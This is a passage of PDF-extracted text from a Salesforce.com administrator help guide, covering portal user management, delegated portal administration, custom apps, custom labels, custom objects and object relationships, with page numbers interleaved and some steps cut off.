access. To edit information for a Customer Portal user:
1347
Customer Portal Working with Customer Portal Users
• You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so
that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.
See Also:
About Customer Portal User Management
Disabling and Deactivating Portal Users
To disable or deactivate partner portal users: “Edit” on the account associated with the partner portal user
AND
“Manage Partners”
There are two ways in which you can remove a customer's access to your Salesforce.com Customer Portal or partner portal.
As described in detail below, disabling a portal user is permanent, while deactivating a portal user is not:
Disabling a portal user
Disabling a portal user includes the following actions:
1348
Customer Portal Working with Customer Portal Users
Note:
We recommend deactivating a portal user if you may reactivate the portal user in the future.
1349
Customer Portal Working with Customer Portal Users
• To delete a portal-enabled contact, first disable the portal user, then delete the contact.
• Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example,
if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated
with a new owner.
• Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user
who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed
from your organization's forecast hierarchy (the partner user's role becomes obsolete).
• After you disable a portal user, it may take Salesforce.com up to ten seconds to disable the user. During that time, a portal
user may still perform actions on a portal.
• You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time.
Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from disabling portal
users.
• A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling
or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change
your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 2667.
• To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups:
- Click Work with Portal and choose Disable Partner Account on a partner portal account.
- Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer
Portal person account.
You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts
at any time. Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from
disabling portal accounts.
• When you disable a portal user or portal account, the change is tracked in the setup audit trail.
• Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the
portal roles manually:
1. Click Setup ➤ Manage Users ➤ Users.
2. Select the name of a disabled portal user.
3. Click Edit.
4. Select None from the Role drop-down list.
5. Click Save.
See Also:
Creating Partner Users
Enabling the Customer Portal for Contacts and Person Accounts
1350
Customer Portal Working with Customer Portal Users
If a Salesforce.com Customer Portal user loses his or her password, the user can click the Forgot your password? link on the
Customer Portal login page to have a new password emailed to him or her.
To reset a Customer Portal user's password:
Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal
users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. When portal users change
information about themselves their user record is updated but their contact record is not automatically updated with
those changes. For more information about defining home page components and assigning home page layouts, see
Customizing Home Tab Page Layouts on page 1040.
See Also:
About Customer Portal User Management
You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license.
Delegated Customer Portal user administrators can do the following for users associated with their own account:
1351
Customer Portal Working with Customer Portal Users
Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related
to their account via the Accounts tab. In addition, delegated Customer Portal user administrators automatically receive the
“Portal Super User” permission. This permission lets delegated Customer Portal user administrators do the following for their
own account:
You can add just the “Portal Super User” permission to the profiles of portal users (except for High Volume Customer Portal
users) so that they can view and edit all cases and contacts for their account, without having the ability to manage other portal
users. However, portal super users cannot view the Contacts tab on the Customer Portal without the “Delegated Portal User
Administrator” permission. To edit contacts, portal super users must select a contact from a case record. For more information,
see:
1352
Customer Portal Working with Customer Portal Users
4. Click Save.
Delegated Customer Portal administrators can perform the following tasks from a contact's detail page:
• Click Enable Customer Portal User to allow a contact to use a Customer Portal.
• Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page,
delegated Customer Portal users can:
- Click Edit to edit a Customer Portal user's details.
- Click Reset Password to reset the Customer Portal user's password.
- Click Edit and deselect the Active checkbox to deactivate the user.
• Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1323.
• Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can
only access the account, contact, and case fields you specify. See Setting Field-Level Security on page 540 and Managing
Page Layouts on page 1012.
1353
Customer Portal Working with Customer Portal Users
Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on
the Contact Name field on cases to Editable.
• Note that Customer Portal users are automatically prevented from viewing related lists to objects which they do not have
access. For example, if a Customer Portal user views a contact, and the contact page layout includes the Opportunities
related list, the portal user cannot view the Opportunities related list because portal users do not have access to opportunities.
• Delegated Customer Portal user administrators can update portal users on any account to which they are transferred.
• You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own
accounts. See Setting Sharing Rules on page 536.
See Also:
About Customer Portal User Management
1354
BUILDING AND EXTENDING APPS
The App Setup page, accessed by clicking Setup ➤ App Setup, contains options to customize Salesforce.com, and build,
deploy, and manage applications.
Customize
Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also
customize search, tagging, and user interface options for your organization.
Create
Use point-and-click tools to customize Salesforce.com and build your own applications to meet the needs of your business.
These tools do not require any programming knowledge.
Develop
Use Salesforce.com development tools to customize Salesforce.com and build your own applications. These tools may
require some programming knowledge.
Deploy
Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients.
Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not
considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.
View and manage the packages that have been installed from Force.com AppExchange.
Critical Updates
Control when critical updates are enabled in your organization.
1355
Building and Extending Apps Customization Overview
Customization Overview
The available customization options vary according to which Salesforce.com Edition you have.
You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce.com for your organization, you can customize the display of the various tabs and other items. Click Setup
➤ Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce.com tabs and fields.
Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.
Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.
Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.
Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.
Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.
Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.
1356
Building and Extending Apps Customization Overview
Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.
Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.
Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.
Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links.
Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.
Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.
Case Team
(Located under Cases) Define case teams and case team roles for your organization.
Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.
Case Comments
(Located under Cases) Create triggers for case comments.
Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.
1357
Building and Extending Apps Customization Overview
Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.
Entitlement Contacts
(Located under Entitlements) Customize the standard fields.
Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.
Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.
Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.
Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.
Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.
Partners
Configure your partner portal or PRM Portal settings.
Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce.com organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.com.
Also, customize default template used for the email and logo used for the survey.
Customer Portal
Enable the Customer Portal for your organization.
1358
Building and Extending Apps Customization Overview
Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.
Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.
Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.
Users
Create custom fields and custom links for users.
Console
Create console layouts that display pertinent information to users.
Tags
Enable personal and public tags for your organization. You can also delete personal tags.
Search
Optimize search settings for your organization.
User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.
See Also:
Customizing Home Tab Page Layouts
Customizing Fields
Setting Custom Buttons and Links
Managing Page Layouts
Managing Multiple Business Processes
Managing Record Types
Managing Folders
Renaming Tab and Field Labels
1359
Create App Builder Tools Overview
CREATE
The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce.com to
meet the needs of your business. You can also build your own applications to share and store information that is important to
you. These tools do not require any programming knowledge. Click Setup ➤ Create to access the following options.
Apps
Build your own applications by defining groups of standard and custom tabs.
Custom Labels
Create custom text values that can be used in multilingual apps.
Objects
Create custom data and custom related lists to store and display information unique to your organization.
Packages
Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com
AppExchange to be shared with others.
Report Types
Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your
users have more power and flexibility while building custom reports.
Tabs
Create tabs to display and edit the data in your custom objects or embed web content and applications within the user
interface.
The platform also includes app builder tools that require some programming knowledge. Tools that require advanced
programming knowledge are located at Setup ➤ Develop.
See Also:
App Setup Overview
1360
Create What is an App?
What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
An “app” is a group of tabs that works as a unit to provide application functionality. Salesforce.com provides standard apps
such as Sales and Call Center. You can customize the standard apps to match the way you work.
You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app
consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom
apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the
Force.com platform that allows you to create and share custom applications with other Salesforce.com users. For information
about sharing apps that you have built, see Overview of Packages on page 1488.
Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every
Salesforce.com page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of
that app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the
Opportunities tab will disappear, and the Opportunity option will no longer appear in the Create New drop-down list in the
sidebar. In addition, the app may display a different initial or default landing tab when selected.
Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you.
You can personalize the tabs in your apps as much as your profile allows. For information about personalizing the tabs you
see, refer to Customizing Your Display on page 34.
Note: For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app
listed in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see
Defining Custom Apps on page 1362.
See Also:
Defining Custom Apps
Managing Apps
Overview of Packages
Managing Packages
Glossary
Managing Profiles
1361
Create Defining Custom Apps
Define custom apps to build on-demand applications for your users. See Salesforce.com Editions and Limits on page 1584 for
the total number of custom apps you can define.
To define custom apps:
• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.
7. Click Next.
8. Click the left and right arrow buttons to add or remove tabs from the app.
9. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
10. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list
of selected tabs. This determines the first tab a user sees when logging into this app.
11. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next.
12. Check the Visible box to choose the user profiles for which the app will be available.
13. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
14. Click Save to finish the wizard.
See Also:
Managing Apps
What is an App?
1362
Create Managing Apps
Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
You can customize the standard and custom apps in your organization. Click Setup ➤ Create ➤ Apps to display a list of
your organization’s apps.
• To view details for an app, click the app Label. This displays the properties of the app, such as which tabs are part of the
app, including any tabs that are not yet deployed.
• To change the properties of an app, click Edit. For details, see Editing App Properties on page 1363.
• To remove a custom app, click Del. Standard apps cannot be deleted.
• To create a new custom app, click New. For details, see Defining Custom Apps on page 1362.
• To change the order of apps in the Force.com app menu, click Reorder. For details, see Reordering the Force.com App
Menu on page 1364.
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the
Force.com app menu.
For details about uploading an app to Force.com AppExchange, see Preparing Your Apps for Distribution on page 1509.
See Also:
What is an App?
You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom
logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change
the label, description, or logo for a standard app.
1363
Create Managing Apps
• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.
6. Click the left and right arrow buttons to add or remove tabs from the app.
7. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the
list of selected tabs. This determines the first tab a user sees when logging into this app.
9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app
personalizations users may have made.
10. Check the Visible box to choose the user profiles for which the app will be available.
11. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
12. Click Save.
See Also:
What is an App?
Managing Apps
You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list
that displays at the top of every application page.
1364
Create Custom Labels Overview
See Also:
What is an App?
Defining Custom Apps
Managing Apps
CUSTOM LABELS
Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated
into any language Salesforce.com supports. Custom labels enable developers to create multilingual applications by automatically
presenting information (for example, help text or error messages) in a user's native language.
You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length.
To access custom labels, click Setup ➤ Create ➤ Custom Labels. From this page, you can:
1365
Create Creating and Editing Custom Labels
3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using
System.Label.Label_name. For Visualforce, use the $Label global variable.
4. Include the label in your application when you package it for the AppExchange.
Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must
explicitly package the individual languages desired in order for those translations to be included in the package.
See Also:
Creating and Editing Custom Labels
Viewing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench
1. From Setup ➤ Create ➤ Custom Labels, click New Custom Label to create a new label, or click Edit next to the custom
label you want to edit.
2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used
in merge fields.
Note: You cannot change the language of an existing custom label.
3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex
scripts and Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with
a letter, contain no spaces or double underscores, and be unique from all other labels in your organization.
4. Check the Protected Component check box to mark the custom label as protected. For more information, see the
Force.com Quick Reference for Developing Packages.
1366
Create Viewing Custom Labels
5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom
label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box
is 255.
6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce.com
supports.
Note: It may take a few minutes before all users see any changes you make to this field.
7. Click Save.
See Also:
Custom Labels Overview
Viewing Custom Labels
Creating and Editing Custom Label Translations
1367
Create Creating and Editing Custom Label Translations
See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench
See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Viewing Custom Labels
Setting Up the Translation Workbench
1368
Create What is a Custom Object?
Custom objects are custom database tables that allow you to store information unique to your organization. For example, your
organization may want to create a custom object called Quotes to store data for your company’s sales quotes. For the total
number of custom objects you can create, see Salesforce.com Editions and Limits on page 1584.
After you define a custom object, you can:
• Create custom fields. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on
page 1584.
• Associate the custom object with other records and display the custom object data in custom related lists. For more
information, see Overview of Relationships on page 1375.
• Track tasks and events for custom object records
• Build page layouts
• Customize the search results and the custom object fields that display in them
• Create a custom tab for the custom object
• Create reports and dashboards to analyze custom object data
• Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce.com users
on Force.com AppExchange. See Overview of Packages on page 1488.
• Import custom object records
• Set up a queue to distribute ownership of custom object records
See Also:
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
What is an App?
Define custom objects to track and store data unique to your organization. For the total number of custom objects you can
create, see Salesforce.com Editions and Limits on page 1584.
To create a custom object:
1369
Create Defining Custom Objects
Field Description
Label A name used to refer to the object in any user interface pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating a custom
object.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name A unique name used to refer to the object when using the
Force.com API. In managed packages, this unique name
prevents naming conflicts on package installations. The
Object Name field can contain only underscores and
alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Description An optional description of the object. A meaningful
description will help you remember the differences between
your custom objects when you are viewing them in a list.
Context-Sensitive Help Setting Defines what displays when users click the Help for this
Page context sensitive help link from the custom object
record home (overview), edit, and detail pages, as well as list
views and related lists. Choose Open the standard
Salesforce Help & Training window if you want to display
the basic Salesforce.com help available for any custom object
record. Choose Open a window using a Visualforce
page or Open a window using a custom s-control to display
the Visualforce page or s-control you select as the
context-sensitive help link from any custom object record
page.
Note: The Help & Training link at the top of any
page is not affected by this setting. It always opens
the Salesforce.com Help & Training window.
1370
Create Defining Custom Objects
Field Description
For more information on creating custom help, see Custom
Help Overview on page 1251.
Custom S-Control The s-control you have defined that contains the help
content for this custom object.
Record Name The name used in page layouts, list views, related lists, and
search results.
Data Type The type of field (text or auto-number) for the record name.
Records that have unique IDs instead of names use
auto-numbers. An auto-number is a unique sequential
number assigned automatically. It is always a read-only field.
Display Format For a Record Name of type auto-number, enter a display
format. You can have up to two sets of curly braces. For
more details about display format options, see Custom Field
Attributes on page 818.
Starting Number For a Record Name of type auto-number, enter the number
to use when creating your first record for this custom object.
Allow Reports Makes the data in the custom object records available for
reporting purposes.
To create reports on custom objects, choose the Other
Reports report type category unless the custom object has
a relationship with a standard object. When the custom
object has a master-detail relationship with a standard object,
or is a lookup object on a standard object, select the standard
object for the report type category instead.
Allow Activities Allows users to associate tasks and scheduled calendar events
related to the custom object records. For more information,
see Notes on Enabling Activities for Custom Objects on
page 1373.
Enable Divisions If your organization has divisions enabled, select this option
to enable the custom object for divisions. Divisions group
records for simplified search results, list views, reports, and
other areas within Salesforce.com. Salesforce.com adds a
Division field to the custom object, and if the custom
object is the master in a master-detail relationship, any
custom objects on the detail side also get the Division
field and inherit their division from the master record.
Track Field History Enables your organization to track changes to fields on the
custom object records, such as who changed the value of a
field, when it was changed, and what the value of the field
was before and after the edit. History data is available for
reporting, so users can easily create audit trail reports when
this feature is enabled.
1371
Create Defining Custom Objects
Field Description
Deployment Status Indicates whether the custom object is visible to other users.
For more information, see Deploying Custom Objects on
page 1374.
Add Notes & Attachments... Allows users to be able to attach notes and attachments to
custom object records. This allows you to attach external
documents to any object record, in much the same way that
you can add a PDF or photo as an attachment to an email.
This option is only available when you are creating a new
object.
Launch the New Custom Tab Wizard Starts the custom tab wizard after you save the custom object.
4. Click Save.
3. Edit the users' accounts, assigning the appropriate cloned custom profiles.
• For users with custom profiles, simply edit their profiles, enabling the permissions you want.
Note: In Contact Manager, Group, and Professional Editions, when you create a custom object, the “Read,”
“Create,” “Edit,” and “Delete” permissions for that object are enabled for all profiles.
Sharing Model
The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information,
see Custom Object Security on page 1390.
1372
Create Defining Custom Objects
Queues
After you create a custom object, you can define queues to distribute ownership of custom object records to your users.
Search
Custom object records appear in search results only if they have a custom tab.
See Also:
Managing Workflow and Approvals
Overview of Relationships
Defining Object-Level Help
• If you enable activities when creating a custom object, the activity related lists are added to the default page layout
automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page
layout manually.
• Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed
from custom object pages, and reports containing activities and the custom object are deleted.
• If a custom object has a master-detail relationship with accounts, the custom object’s activities roll up to the account and
cause the account’s Last Activity date to be updated. For custom objects related to other types of records, the activities
do not roll up.
• The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be
sent to a contact or lead.
• When you change the ownership of a custom object record, any open activities related to that custom object are also
transferred to the new record owner.
• You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if
tasks and events are child data sets of the custom object in a mobile configuration.
• Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for
the object.
See Also:
Defining Custom Objects
Creating a Many-to-Many Relationship
Defining Data Sets
1373
Create Managing Custom Objects
While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated
with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished.
Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object
and its associated custom tab, related lists, and reports.
• Choose “In Development” as the Deployment Status when first creating your custom object to hide it from users while
you are designing and testing it. Making the status “In Development” hides the custom object tab, search results, related
lists, and report data types from all users except those with the “Customize Application” permission.
• Change the Deployment Status to “Deployed” when you want to allow all users to use the custom object and any
associated custom tab, related lists, and reports.
• After deploying a custom object, change the Deployment Status back to “In Development” if you want to make more
enhancements to it.
Note: A custom report type's Deployment Status will automatically change from “Deployed” to “In Development”
if its primary object is a custom object whose Deployment Status changes from “Deployed” to “In Development.”
For more information, see Defining Custom Report Types on page 2208.
See Also:
Defining Custom Objects
After creating your custom objects, you can customize, edit, and delete them. Click Setup ➤ Create ➤ Objects to display
the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom Objects
list page, you can:
1374
Create Overview of Relationships
• Click the object name to display detailed information about the custom object and customize it further.
Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the
object available for the Salesforce.com Customer Portal.
• To update the custom object definition, click Edit and update the desired fields in the wizard.
Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be
changed by the developer in future releases of a managed package
When viewing the detail page of a custom object, the lower portion page provides information about various characteristics
of the custom object: standard fields, custom fields, field history tracking, relationships, custom links, search layouts, and page
layouts. You can:
Note: If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce
Chatter is enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover link
to display the corresponding related list and its number of records. An interactive overlay allows you to quickly view
and manage the related list items. You can also click a related list hover link to jump to the content of the related list
without having to scroll down the page.
See Also:
What is a Custom Object?
Overview of Relationships
Customizing Custom Objects
Import My Organization's Custom Objects
Tracking Field History
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Use relationships to associate an object with other objects in Salesforce.com. For example, a relationship can link custom object
records to standard object records in a related list, such as linking a custom object called “Bugs” to cases to track product defects
associated with customer cases. You can define different types of relationships by creating custom relationship fields on an
object. Before you begin creating relationships, determine the type of relationship that suits your needs.
1375
Create Overview of Relationships
There are different types of relationships between objects in Salesforce.com. Their differences include how they handle data
deletion, record ownership, security, and required fields in page layouts:
Master-detail
This type of relationship closely links objects together such that the master record controls certain behaviors of the detail
and subdetail record. For example, you can define a two-object master-detail relationship, such as Account—Expense
Report, the extend the relationship to subdetail records, such as Account—Expense Report—Expense Line Item. You
can then perform operations across the master—detail—subdetail relationship.
Behaviors of master-detail relationships include:
• When a master record is deleted, the related detail and subdetail records are also deleted.
• The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master
record. Custom objects on the “detail” side of a master-detail relationship cannot have sharing rules, manual sharing,
or queues, as these require the Owner field.
• The security settings for the master record control the detail and subdetail records.
• The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail
and subdetail records.
• The master object can be a standard object, such as Account or Opportunity, or a custom object.
Tip: If you have a custom object called “Expenses” and you want each expense record deleted along with its
associated opportunity record, create a master-detail relationship on the “Expenses” custom object with
Opportunity as the master object.
Many-to-many
You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be
linked to multiple records from another object and vice versa. For example, you may have a custom object called “Bug”
that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related
to multiple bugs. See Creating a Many-to-Many Relationship on page 1377.
Lookup
This type of relationship links two objects together, but it has no effect on deletion, record ownership, or security, and
the lookup relationship field is not required in the page layout.
Use lookup relationships to:
Note: Lookup relationships from objects related to the campaign member object are not supported, however,
you can create lookup relationships from the campaign member object related to other objects.
When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object
as well as create a related list on the associated object's page layouts. For example, if you have a custom object called
“PTO Requests” and you want your users to link a PTO request with the employee submitting the request, create a
lookup relationship from the PTO Request custom object with the user object.
1376
Create Overview of Relationships
Hierarchical
This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup
field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a
custom hierarchical relationship field to store each user's direct manager.
Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you
can select the Restricted Field checkbox so that only users with the “Manage Users” permission can edit
it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.
See Also:
Considerations for Relationships
Defining Custom Objects
Creating Custom Fields
You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be linked
to multiple records from another object and vice versa. For example, you may have a custom object called “Bug” that relates
to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
When modeling a many-to-many relationship, you use a junction object to connect the two objects you want to relate to each
other.
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many”
relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
1377
Create Overview of Relationships
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Bugs so users will see a Bugs related list on the case detail page.
3. On the junction object, create the second master-detail relationship. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select the other desired master object to relate to your junction object. For example, select Bug.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you
delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes
primary.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Cases so users will see a Cases related list on the bug detail page.
1378
Create Overview of Relationships
Note: The junction object related list does not include an icon on the master record's detail pages because the junction
object does not have a custom tab. If you make a tab for the junction object, the icon is included.
See Also:
Defining Custom Objects
Considerations for Relationships
What is a Custom Report Type?
1379
Create Overview of Relationships
Relationship Limits
Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is
included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see
Salesforce.com Editions and Limits on page 1584.
Self Relationships
You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record cannot be
linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have
the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday
Promotion campaign selected in the lookup relationship.
You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.
Master-Detail Relationships
